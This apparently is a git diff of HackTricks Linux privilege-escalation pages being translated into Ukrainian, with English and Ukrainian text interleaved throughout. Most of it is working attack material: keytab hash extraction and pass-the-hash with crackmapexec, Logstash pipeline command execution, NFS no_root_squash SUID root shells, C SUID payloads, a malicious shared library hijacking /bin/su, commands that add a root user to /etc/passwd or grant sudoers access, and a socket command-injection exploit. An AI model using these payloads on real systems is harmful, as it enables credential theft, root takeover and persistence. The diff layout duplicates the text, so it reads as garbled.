SSSD підтримує копію бази даних за шляхом `/var/lib/sss/secrets/secrets.ldb`. Відповідний ключ зберігається як прихований файл за шляхом `/var/lib/sss/secrets/.secrets.mkey`. За замовчуванням ключ доступний лише для читання, якщо у вас є **root** права.
Виклик \*\*`SSSDKCMExtractor` \*\* з параметрами --database та --key розпарсить базу даних та **дешифрує секрети**.
```bash
git clone https://github.com/fireeye/SSSDKCMExtractor
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
```
**Кеш облікових даних Kerberos можна перетворити на використовуваний файл Kerberos CCache**, який можна передати до Mimikatz/Rubeus.
The **credential cache Kerberos blob can be converted into a usable Kerberos CCache** file that can be passed to Mimikatz/Rubeus.
### CCACHE ticket reuse from keytab
### Повторне використання квитка CCACHE з keytab
```bash
git clone https://github.com/its-a-feature/KeytabParser
python KeytabParser.py /etc/krb5.keytab
klist -k /etc/krb5.keytab
```
### Витягти облікові записи з /etc/krb5.keytab
### Extract accounts from /etc/krb5.keytab
Service account keys, essential for services operating with root privileges, are securely stored in **`/etc/krb5.keytab`** files. These keys, akin to passwords for services, demand strict confidentiality.
To inspect the keytab file's contents, **`klist`** can be employed. The tool is designed to display key details, including the **NT Hash** for user authentication, particularly when the key type is identified as 23.
Ключі облікових записів служб, які є необхідними для служб, що працюють з привілеями root, надійно зберігаються у файлах **`/etc/krb5.keytab`**. Ці ключі, подібно до паролів для служб, вимагають суворої конфіденційності.
Щоб перевірити вміст файлу keytab, можна використовувати **`klist`**. Цей інструмент призначений для відображення деталей ключа, включаючи **NT Hash** для автентифікації користувачів, особливо коли тип ключа визначено як 23.
```bash
klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab
# Output includes service principal details and the NT Hash
```
For Linux users, **`KeyTabExtract`** offers functionality to extract the RC4 HMAC hash, which can be leveraged for NTLM hash reuse.
Для користувачів Linux, **`KeyTabExtract`** пропонує функціональність для витягування RC4 HMAC хешу, який можна використовувати для повторного використання NTLM хешу.
```bash
python3 keytabextract.py krb5.keytab
# Expected output varies based on hash availability
```
On macOS, **`bifrost`** serves as a tool for keytab file analysis.
На macOS **`bifrost`** слугує інструментом для аналізу файлів keytab.
```bash
./bifrost -action dump -source keytab -path /path/to/your/file
```
Utilizing the extracted account and hash information, connections to servers can be established using tools like **`crackmapexec`**.
Використовуючи витягнуту інформацію про облікові записи та хеші, можна встановити з'єднання з серверами за допомогою інструментів, таких як **`crackmapexec`**.
```bash
crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN"
```
## References
## Посилання
- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
- [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory)
{% embed url="https://websec.nl/" %}
{{#include ../../banners/hacktricks-training.md}}

1408
src/linux-hardening/privilege-escalation/linux-capabilities.md
View File

File diff suppressed because it is too large Load Diff

54
src/linux-hardening/privilege-escalation/logstash.md
View File

@ -2,59 +2,55 @@
## Logstash
Logstash is used to **gather, transform, and dispatch logs** through a system known as **pipelines**. These pipelines are made up of **input**, **filter**, and **output** stages. An interesting aspect arises when Logstash operates on a compromised machine.
Logstash використовується для **збирання, перетворення та відправки логів** через систему, відому як **потоки**. Ці потоки складаються з етапів **входу**, **фільтрації** та **виходу**. Цікавий аспект виникає, коли Logstash працює на скомпрометованій машині.
### Pipeline Configuration
Pipelines are configured in the file **/etc/logstash/pipelines.yml**, which lists the locations of the pipeline configurations:
### Налаштування потоку
Потоки налаштовуються у файлі **/etc/logstash/pipelines.yml**, який містить списки місць розташування конфігурацій потоків:
```yaml
# Define your pipelines here. Multiple pipelines can be defined.
# For details on multiple pipelines, refer to the documentation:
# https://www.elastic.co/guide/en/logstash/current/multiple-pipelines.html
- pipeline.id: main
path.config: "/etc/logstash/conf.d/*.conf"
path.config: "/etc/logstash/conf.d/*.conf"
- pipeline.id: example
path.config: "/usr/share/logstash/pipeline/1*.conf"
pipeline.workers: 6
path.config: "/usr/share/logstash/pipeline/1*.conf"
pipeline.workers: 6
```
Цей файл розкриває, де розташовані **.conf** файли, що містять конфігурації конвеєра. При використанні **Elasticsearch output module** зазвичай **конвеєри** включають **Elasticsearch credentials**, які часто мають великі привілеї через необхідність Logstash записувати дані в Elasticsearch. Шаблони в шляхах конфігурації дозволяють Logstash виконувати всі відповідні конвеєри в призначеній директорії.
This file reveals where the **.conf** files, containing pipeline configurations, are located. When employing an **Elasticsearch output module**, it's common for **pipelines** to include **Elasticsearch credentials**, which often possess extensive privileges due to Logstash's need to write data to Elasticsearch. Wildcards in configuration paths allow Logstash to execute all matching pipelines in the designated directory.
### Підвищення привілеїв через записувані конвеєри
### Privilege Escalation via Writable Pipelines
Щоб спробувати підвищення привілеїв, спочатку визначте користувача, під яким працює служба Logstash, зазвичай це користувач **logstash**. Переконайтеся, що ви відповідаєте **одному** з цих критеріїв:
To attempt privilege escalation, first identify the user under which the Logstash service is running, typically the **logstash** user. Ensure you meet **one** of these criteria:
- Маєте **доступ на запис** до файлу конвеєра **.conf** **або**
- Файл **/etc/logstash/pipelines.yml** використовує шаблон, і ви можете записувати в цільову папку
- Possess **write access** to a pipeline **.conf** file **or**
- The **/etc/logstash/pipelines.yml** file uses a wildcard, and you can write to the target folder
Крім того, повинна бути виконана **одна** з цих умов:
Additionally, **one** of these conditions must be fulfilled:
- Capability to restart the Logstash service **or**
- The **/etc/logstash/logstash.yml** file has **config.reload.automatic: true** set
Given a wildcard in the configuration, creating a file that matches this wildcard allows for command execution. For instance:
- Можливість перезапустити службу Logstash **або**
- Файл **/etc/logstash/logstash.yml** має **config.reload.automatic: true** встановленим
З огляду на шаблон у конфігурації, створення файлу, що відповідає цьому шаблону, дозволяє виконувати команди. Наприклад:
```bash
input {
exec {
command => "whoami"
interval => 120
}
exec {
command => "whoami"
interval => 120
}
}
output {
file {
path => "/tmp/output.log"
codec => rubydebug
}
file {
path => "/tmp/output.log"
codec => rubydebug
}
}
```
Тут **інтервал** визначає частоту виконання в секундах. У наведеному прикладі команда **whoami** виконується кожні 120 секунд, а її вивід направляється до **/tmp/output.log**.
Here, **interval** determines the execution frequency in seconds. In the given example, the **whoami** command runs every 120 seconds, with its output directed to **/tmp/output.log**.
With **config.reload.automatic: true** in **/etc/logstash/logstash.yml**, Logstash will automatically detect and apply new or modified pipeline configurations without needing a restart. If there's no wildcard, modifications can still be made to existing configurations, but caution is advised to avoid disruptions.
З **config.reload.automatic: true** у **/etc/logstash/logstash.yml**, Logstash автоматично виявлятиме та застосовуватиме нові або змінені конфігурації конвеєра без необхідності перезавантаження. Якщо немає шаблону, зміни все ще можуть бути внесені в існуючі конфігурації, але слід бути обережним, щоб уникнути збоїв.
## References

100
src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md
View File

@ -1,19 +1,18 @@
{{#include ../../banners/hacktricks-training.md}}
Read the _ **/etc/exports** _ file, if you find some directory that is configured as **no_root_squash**, then you can **access** it from **as a client** and **write inside** that directory **as** if you were the local **root** of the machine.
Прочитайте файл _ **/etc/exports** _, якщо ви знайдете якусь директорію, яка налаштована як **no_root_squash**, тоді ви можете **доступитися** до неї **як клієнт** і **записувати всередині** цієї директорії **так, ніби** ви були локальним **root** машини.
**no_root_squash**: This option basically gives authority to the root user on the client to access files on the NFS server as root. And this can lead to serious security implications.
**no_root_squash**: Ця опція в основному надає повноваження користувачу root на клієнті доступатися до файлів на NFS сервері як root. І це може призвести до серйозних проблем з безпекою.
**no_all_squash:** This is similar to **no_root_squash** option but applies to **non-root users**. Imagine, you have a shell as nobody user; checked /etc/exports file; no_all_squash option is present; check /etc/passwd file; emulate a non-root user; create a suid file as that user (by mounting using nfs). Execute the suid as nobody user and become different user.
**no_all_squash:** Це схоже на опцію **no_root_squash**, але застосовується до **не-root користувачів**. Уявіть, що у вас є оболонка як користувач nobody; перевірте файл /etc/exports; опція no_all_squash присутня; перевірте файл /etc/passwd; емулюйте не-root користувача; створіть файл suid як цей користувач (монтуванням за допомогою nfs). Виконайте suid як користувач nobody і станьте іншим користувачем.
# Privilege Escalation
# Підвищення Привілеїв
## Remote Exploit
## Віддалена Експлуатація
If you have found this vulnerability, you can exploit it:
- **Mounting that directory** in a client machine, and **as root copying** inside the mounted folder the **/bin/bash** binary and giving it **SUID** rights, and **executing from the victim** machine that bash binary.
Якщо ви знайшли цю вразливість, ви можете її експлуатувати:
- **Монтування цієї директорії** на клієнтській машині, і **як root копіювання** всередину змонтованої папки бінарного файлу **/bin/bash** і надання йому прав **SUID**, і **виконання з жертви** цього бінарного файлу bash.
```bash
#Attacker, as root user
mkdir /tmp/pe
@ -26,9 +25,7 @@ chmod +s bash
cd <SHAREDD_FOLDER>
./bash -p #ROOT shell
```
- **Mounting that directory** in a client machine, and **as root copying** inside the mounted folder our come compiled payload that will abuse the SUID permission, give to it **SUID** rights, and **execute from the victim** machine that binary (you can find here some[ C SUID payloads](payloads-to-execute.md#c)).
- **Монтування цього каталогу** на клієнтській машині та **як root копіювання** всередину змонтованої папки нашого скомпільованого вантажу, який зловживає правами SUID, надає йому **права SUID** та **виконує з жертви** машини цей бінарний файл (ви можете знайти тут деякі [C SUID вантажі](payloads-to-execute.md#c)).
```bash
#Attacker, as root user
gcc payload.c -o payload
@ -42,61 +39,57 @@ chmod +s payload
cd <SHAREDD_FOLDER>
./payload #ROOT shell
```
## Local Exploit
## Локальний експлойт
> [!NOTE]
> Note that if you can create a **tunnel from your machine to the victim machine you can still use the Remote version to exploit this privilege escalation tunnelling the required ports**.\
> The following trick is in case the file `/etc/exports` **indicates an IP**. In this case you **won't be able to use** in any case the **remote exploit** and you will need to **abuse this trick**.\
> Another required requirement for the exploit to work is that **the export inside `/etc/export`** **must be using the `insecure` flag**.\
> --_I'm not sure that if `/etc/export` is indicating an IP address this trick will work_--
> Зверніть увагу, що якщо ви можете створити **тунель від вашої машини до машини жертви, ви все ще можете використовувати віддалену версію для експлуатації цього підвищення привілеїв, тунелюючи необхідні порти**.\
> Наступний трюк стосується випадку, коли файл `/etc/exports` **вказує на IP**. У цьому випадку ви **не зможете використовувати** в жодному випадку **віддалений експлойт** і вам потрібно буде **зловживати цим трюком**.\
> Ще однією необхідною умовою для роботи експлойту є те, що **експорт всередині `/etc/export`** **повинен використовувати прапор `insecure`**.\
> --_Я не впевнений, що якщо `/etc/export` вказує на IP-адресу, цей трюк спрацює_--
## Basic Information
## Основна інформація
The scenario involves exploiting a mounted NFS share on a local machine, leveraging a flaw in the NFSv3 specification which allows the client to specify its uid/gid, potentially enabling unauthorized access. The exploitation involves using [libnfs](https://github.com/sahlberg/libnfs), a library that allows for the forging of NFS RPC calls.
Сценарій передбачає експлуатацію змонтованого NFS-спільного ресурсу на локальній машині, використовуючи недолік у специфікації NFSv3, який дозволяє клієнту вказувати свій uid/gid, що потенційно дозволяє несанкціонований доступ. Експлуатація передбачає використання [libnfs](https://github.com/sahlberg/libnfs), бібліотеки, яка дозволяє підробляти виклики NFS RPC.
### Compiling the Library
The library compilation steps might require adjustments based on the kernel version. In this specific case, the fallocate syscalls were commented out. The compilation process involves the following commands:
### Компіляція бібліотеки
Кроки компіляції бібліотеки можуть вимагати коригувань залежно від версії ядра. У цьому конкретному випадку системні виклики fallocate були закоментовані. Процес компіляції включає наступні команди:
```bash
./bootstrap
./configure
make
gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/
```
### Проведення експлуатації
### Conducting the Exploit
Експлуатація полягає у створенні простого C програми (`pwn.c`), яка підвищує привілеї до root, а потім виконує оболонку. Програма компілюється, а отриманий бінарний файл (`a.out`) розміщується на загальному ресурсі з suid root, використовуючи `ld_nfs.so` для підробки uid у викликах RPC:
The exploit involves creating a simple C program (`pwn.c`) that elevates privileges to root and then executing a shell. The program is compiled, and the resulting binary (`a.out`) is placed on the share with suid root, using `ld_nfs.so` to fake the uid in the RPC calls:
1. **Скомпілюйте код експлуатації:**
1. **Compile the exploit code:**
```bash
cat pwn.c
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
gcc pwn.c -o a.out
```
```bash
cat pwn.c
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
gcc pwn.c -o a.out
```
2. **Розмістіть експлуатацію на загальному ресурсі та змініть її дозволи, підробляючи uid:**
2. **Place the exploit on the share and modify its permissions by faking the uid:**
```bash
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
```
```bash
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
```
3. **Виконайте експлуатацію для отримання привілеїв root:**
```bash
/mnt/share/a.out
#root
```
3. **Execute the exploit to gain root privileges:**
```bash
/mnt/share/a.out
#root
```
## Bonus: NFShell for Stealthy File Access
Once root access is obtained, to interact with the NFS share without changing ownership (to avoid leaving traces), a Python script (nfsh.py) is used. This script adjusts the uid to match that of the file being accessed, allowing for interaction with files on the share without permission issues:
## Бонус: NFShell для прихованого доступу до файлів
Після отримання доступу root, для взаємодії з NFS загальним ресурсом без зміни власності (щоб уникнути залишення слідів) використовується Python скрипт (nfsh.py). Цей скрипт налаштовує uid, щоб відповідати uid файлу, до якого здійснюється доступ, що дозволяє взаємодіяти з файлами на загальному ресурсі без проблем з дозволами:
```python
#!/usr/bin/env python
# script from https://www.errno.fr/nfs_privesc.html
@ -104,23 +97,20 @@ import sys
import os
def get_file_uid(filepath):
try:
uid = os.stat(filepath).st_uid
except OSError as e:
return get_file_uid(os.path.dirname(filepath))
return uid
try:
uid = os.stat(filepath).st_uid
except OSError as e:
return get_file_uid(os.path.dirname(filepath))
return uid
filepath = sys.argv[-1]
uid = get_file_uid(filepath)
os.setreuid(uid, uid)
os.system(' '.join(sys.argv[1:]))
```
Run like:
Запустіть як:
```bash
# ll ./mount/
drwxr-x--- 6 1008 1009 1024 Apr 5 2017 9.3_old
```
{{#include ../../banners/hacktricks-training.md}}

94
src/linux-hardening/privilege-escalation/payloads-to-execute.md
View File

@ -3,20 +3,17 @@
{{#include ../../banners/hacktricks-training.md}}
## Bash
```bash
cp /bin/bash /tmp/b && chmod +s /tmp/b
/bin/b -p #Maintains root privileges from suid, working in debian & buntu
```
## C
```c
//gcc payload.c -o payload
int main(void){
setresuid(0, 0, 0); //Set as user suid user
system("/bin/sh");
return 0;
setresuid(0, 0, 0); //Set as user suid user
system("/bin/sh");
return 0;
}
```
@ -27,9 +24,9 @@ int main(void){
#include <sys/types.h>
int main(){
setuid(getuid());
system("/bin/bash");
return 0;
setuid(getuid());
system("/bin/bash");
return 0;
}
```
@ -40,42 +37,38 @@ int main(){
#include <unistd.h>
int main(void) {
char *const paramList[10] = {"/bin/bash", "-p", NULL};
const int id = 1000;
setresuid(id, id, id);
execve(paramList[0], paramList, NULL);
return 0;
char *const paramList[10] = {"/bin/bash", "-p", NULL};
const int id = 1000;
setresuid(id, id, id);
execve(paramList[0], paramList, NULL);
return 0;
}
```
## Перезапис файлу для ескалації привілеїв
## Overwriting a file to escalate privileges
### Загальні файли
### Common files
- Додати користувача з паролем до _/etc/passwd_
- Змінити пароль у _/etc/shadow_
- Додати користувача до sudoers у _/etc/sudoers_
- Зловживати docker через сокет docker, зазвичай у _/run/docker.sock_ або _/var/run/docker.sock_
- Add user with password to _/etc/passwd_
- Change password inside _/etc/shadow_
- Add user to sudoers in _/etc/sudoers_
- Abuse docker through the docker socket, usually in _/run/docker.sock_ or _/var/run/docker.sock_
### Overwriting a library
Check a library used by some binary, in this case `/bin/su`:
### Перезапис бібліотеки
Перевірте бібліотеку, що використовується деяким бінарним файлом, у цьому випадку `/bin/su`:
```bash
ldd /bin/su
linux-vdso.so.1 (0x00007ffef06e9000)
libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000)
libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000)
libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000)
libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000)
linux-vdso.so.1 (0x00007ffef06e9000)
libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000)
libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000)
libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000)
libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000)
```
In this case lets try to impersonate `/lib/x86_64-linux-gnu/libaudit.so.1`.\
So, check for functions of this library used by the **`su`** binary:
У цьому випадку спробуємо видати себе за `/lib/x86_64-linux-gnu/libaudit.so.1`.\
Отже, перевірте функції цієї бібліотеки, які використовуються бінарним файлом **`su`**:
```bash
objdump -T /bin/su | grep audit
0000000000000000 DF *UND* 0000000000000000 audit_open
@ -83,9 +76,7 @@ objdump -T /bin/su | grep audit
0000000000000000 DF *UND* 0000000000000000 audit_log_acct_message
000000000020e968 g DO .bss 0000000000000004 Base audit_fd
```
The symbols `audit_open`, `audit_log_acct_message`, `audit_log_acct_message` and `audit_fd` are probably from the libaudit.so.1 library. As the libaudit.so.1 will be overwritten by the malicious shared library, these symbols should be present in the new shared library, otherwise the program will not be able to find the symbol and will exit.
Символи `audit_open`, `audit_log_acct_message`, `audit_log_acct_message` та `audit_fd` ймовірно походять з бібліотеки libaudit.so.1. Оскільки libaudit.so.1 буде перезаписано зловмисною спільною бібліотекою, ці символи повинні бути присутніми в новій спільній бібліотеці, інакше програма не зможе знайти символ і завершить роботу.
```c
#include<stdio.h>
#include<stdlib.h>
@ -102,34 +93,27 @@ void inject()__attribute__((constructor));
void inject()
{
setuid(0);
setgid(0);
system("/bin/bash");
setuid(0);
setgid(0);
system("/bin/bash");
}
```
Тепер, просто викликавши **`/bin/su`**, ви отримаєте оболонку як root.
Now, just calling **`/bin/su`** you will obtain a shell as root.
## Скрипти
## Scripts
Can you make root execute something?
### **www-data to sudoers**
Чи можете ви змусити root виконати щось?
### **www-data до sudoers**
```bash
echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
```
### **Change root password**
### **Змінити пароль root**
```bash
echo "root:hacked" | chpasswd
```
### Add new root user to /etc/passwd
### Додати нового користувача root до /etc/passwd
```bash
echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysalt myhackerpass || echo '$1$mysalt$7DTZJIc9s6z60L6aj0Sui.') 2>/dev/null):0:0::/:/bin/bash >> /etc/passwd
```
{{#include ../../banners/hacktricks-training.md}}

28
src/linux-hardening/privilege-escalation/runc-privilege-escalation.md
View File

@ -1,10 +1,10 @@
# RunC Privilege Escalation
# RunC Привілейоване підвищення
{{#include ../../banners/hacktricks-training.md}}
## Basic information
## Основна інформація
If you want to learn more about **runc** check the following page:
Якщо ви хочете дізнатися більше про **runc**, перегляньте наступну сторінку:
{{#ref}}
../../network-services-pentesting/2375-pentesting-docker.md
@ -12,22 +12,21 @@ If you want to learn more about **runc** check the following page:
## PE
If you find that `runc` is installed in the host you may be able to **run a container mounting the root / folder of the host**.
Якщо ви виявите, що `runc` встановлений на хості, ви можете **запустити контейнер, змонтувавши кореневу / папку хоста**.
```bash
runc -help #Get help and see if runc is intalled
runc spec #This will create the config.json file in your current folder
Inside the "mounts" section of the create config.json add the following lines:
{
"type": "bind",
"source": "/",
"destination": "/",
"options": [
"rbind",
"rw",
"rprivate"
]
"type": "bind",
"source": "/",
"destination": "/",
"options": [
"rbind",
"rw",
"rprivate"
]
},
#Once you have modified the config.json file, create the folder rootfs in the same directory
@ -37,8 +36,7 @@ mkdir rootfs
# The root folder is the one from the host
runc run demo
```
> [!CAUTION]
> This won't always work as the default operation of runc is to run as root, so running it as an unprivileged user simply cannot work (unless you have a rootless configuration). Making a rootless configuration the default isn't generally a good idea because there are quite a few restrictions inside rootless containers that don't apply outside rootless containers.
> Це не завжди буде працювати, оскільки за замовчуванням runc працює як root, тому запуск його як непривілейованого користувача просто не може працювати (якщо у вас немає конфігурації без root). Зробити конфігурацію без root за замовчуванням зазвичай не є хорошою ідеєю, оскільки існує досить багато обмежень всередині контейнерів без root, які не застосовуються поза контейнерами без root.
{{#include ../../banners/hacktricks-training.md}}

14
src/linux-hardening/privilege-escalation/selinux.md
View File

@ -1,13 +1,12 @@
{{#include ../../banners/hacktricks-training.md}}
# SELinux in Containers
# SELinux в контейнерах
[Introduction and example from the redhat docs](https://www.redhat.com/sysadmin/privileged-flag-container-engines)
[Вступ та приклад з документації redhat](https://www.redhat.com/sysadmin/privileged-flag-container-engines)
[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) is a **labeling** **system**. Every **process** and every **file** system object has a **label**. SELinux policies define rules about what a **process label is allowed to do with all of the other labels** on the system.
Container engines launch **container processes with a single confined SELinux label**, usually `container_t`, and then set the container inside of the container to be labeled `container_file_t`. The SELinux policy rules basically say that the **`container_t` processes can only read/write/execute files labeled `container_file_t`**. If a container process escapes the container and attempts to write to content on the host, the Linux kernel denies access and only allows the container process to write to content labeled `container_file_t`.
[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) є **системою маркування**. Кожен **процес** та кожен **об'єкт** файлової системи має **мітку**. Політики SELinux визначають правила щодо того, що **мітка процесу дозволяє робити з усіма іншими мітками** в системі.
Контейнерні движки запускають **контейнерні процеси з єдиною обмеженою міткою SELinux**, зазвичай `container_t`, а потім встановлюють мітку `container_file_t` для вмісту всередині контейнера. Правила політики SELinux в основному говорять, що **процеси `container_t` можуть лише читати/записувати/виконувати файли, помічені як `container_file_t`**. Якщо контейнерний процес вийде з контейнера і спробує записати вміст на хост, ядро Linux відмовляє в доступі і дозволяє контейнерному процесу записувати лише вміст, помічений як `container_file_t`.
```shell
$ podman run -d fedora sleep 100
d4194babf6b877c7100e79de92cd6717166f7302113018686cea650ea40bd7cb
@ -15,9 +14,8 @@ $ podman top -l label
LABEL
system_u:system_r:container_t:s0:c647,c780
```
# Користувачі SELinux
# SELinux Users
There are SELinux users in addition to the regular Linux users. SELinux users are part of an SELinux policy. Each Linux user is mapped to a SELinux user as part of the policy. This allows Linux users to inherit the restrictions and security rules and mechanisms placed on SELinux users.
Існують користувачі SELinux на додаток до звичайних користувачів Linux. Користувачі SELinux є частиною політики SELinux. Кожен користувач Linux відображається на користувача SELinux як частина політики. Це дозволяє користувачам Linux успадковувати обмеження та правила безпеки і механізми, накладені на користувачів SELinux.
{{#include ../../banners/hacktricks-training.md}}

32
src/linux-hardening/privilege-escalation/socket-command-injection.md
View File

@ -1,9 +1,8 @@
{{#include ../../banners/hacktricks-training.md}}
## Socket binding example with Python
In the following example a **unix socket is created** (`/tmp/socket_test.s`) and everything **received** is going to be **executed** by `os.system`.I know that you aren't going to find this in the wild, but the goal of this example is to see how a code using unix sockets looks like, and how to manage the input in the worst case possible.
## Приклад прив'язки сокета з Python
У наступному прикладі **unix сокет створюється** (`/tmp/socket_test.s`), і все, що **отримується**, буде **виконано** за допомогою `os.system`. Я знаю, що ви не знайдете це в диких умовах, але мета цього прикладу - побачити, як виглядає код, що використовує unix сокети, і як управляти введенням у найгіршому випадку.
```python:s.py
import socket
import os, os.path
@ -11,34 +10,29 @@ import time
from collections import deque
if os.path.exists("/tmp/socket_test.s"):
os.remove("/tmp/socket_test.s")
os.remove("/tmp/socket_test.s")
server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
server.bind("/tmp/socket_test.s")
os.system("chmod o+w /tmp/socket_test.s")
while True:
server.listen(1)
conn, addr = server.accept()
datagram = conn.recv(1024)
if datagram:
print(datagram)
os.system(datagram)
conn.close()
server.listen(1)
conn, addr = server.accept()
datagram = conn.recv(1024)
if datagram:
print(datagram)
os.system(datagram)
conn.close()
```
**Execute** the code using python: `python s.py` and **check how the socket is listening**:
**Виконайте** код за допомогою python: `python s.py` та **перевірте, як сокет слухає**:
```python
netstat -a -p --unix | grep "socket_test"
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
will not be shown, you would have to be root to see it all.)
unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s
```
**Exploit**
**Експлуатація**
```python
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
```
{{#include ../../banners/hacktricks-training.md}}

50
src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md
View File

@ -1,52 +1,50 @@
# Splunk LPE and Persistence
# Splunk LPE та Постійну
{{#include ../../banners/hacktricks-training.md}}
If **enumerating** a machine **internally** or **externally** you find **Splunk running** (port 8090), if you luckily know any **valid credentials** you can **abuse the Splunk service** to **execute a shell** as the user running Splunk. If root is running it, you can escalate privileges to root.
Якщо ви **перераховуєте** машину **всередині** або **ззовні** і знаходите **запущений Splunk** (порт 8090), якщо вам пощастить знати будь-які **дійсні облікові дані**, ви можете **зловживати сервісом Splunk** для **виконання оболонки** від імені користувача, який запускає Splunk. Якщо це робить root, ви можете підвищити привілеї до root.
Also if you are **already root and the Splunk service is not listening only on localhost**, you can **steal** the **password** file **from** the Splunk service and **crack** the passwords, or **add new** credentials to it. And maintain persistence on the host.
Також, якщо ви **вже root і сервіс Splunk не слухає тільки на localhost**, ви можете **вкрасти** файл **паролів** **з** сервісу Splunk і **зламати** паролі, або **додати нові** облікові дані до нього. І підтримувати постійність на хості.
In the first image below you can see how a Splunkd web page looks like.
На першому зображенні нижче ви можете побачити, як виглядає веб-сторінка Splunkd.
## Splunk Universal Forwarder Agent Exploit Summary
## Резюме експлуатації агента Splunk Universal Forwarder
For further details check the post [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/). This is just a sumary:
Для отримання додаткових деталей перегляньте пост [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/). Це лише резюме:
**Exploit Overview:**
An exploit targeting the Splunk Universal Forwarder Agent (UF) allows attackers with the agent password to execute arbitrary code on systems running the agent, potentially compromising an entire network.
**Огляд експлуатації:**
Експлуатація, що націлена на агента Splunk Universal Forwarder (UF), дозволяє зловмисникам з паролем агента виконувати довільний код на системах, що запускають агента, потенційно компрометуючи всю мережу.
**Key Points:**
**Ключові моменти:**
- The UF agent does not validate incoming connections or the authenticity of code, making it vulnerable to unauthorized code execution.
- Common password acquisition methods include locating them in network directories, file shares, or internal documentation.
- Successful exploitation can lead to SYSTEM or root level access on compromised hosts, data exfiltration, and further network infiltration.
- Агент UF не перевіряє вхідні з'єднання або автентичність коду, що робить його вразливим до несанкціонованого виконання коду.
- Загальні методи отримання паролів включають їх знаходження в мережевих каталогах, файлових спільних ресурсах або внутрішній документації.
- Успішна експлуатація може призвести до доступу на рівні SYSTEM або root на скомпрометованих хостах, ексфільтрації даних та подальшого проникнення в мережу.
**Exploit Execution:**
**Виконання експлуатації:**
1. Attacker obtains the UF agent password.
2. Utilizes the Splunk API to send commands or scripts to the agents.
3. Possible actions include file extraction, user account manipulation, and system compromise.
1. Зловмисник отримує пароль агента UF.
2. Використовує API Splunk для відправки команд або скриптів агентам.
3. Можливі дії включають витяг файлів, маніпуляцію обліковими записами користувачів та компрометацію системи.
**Impact:**
**Вплив:**
- Full network compromise with SYSTEM/root level permissions on each host.
- Potential for disabling logging to evade detection.
- Installation of backdoors or ransomware.
**Example Command for Exploitation:**
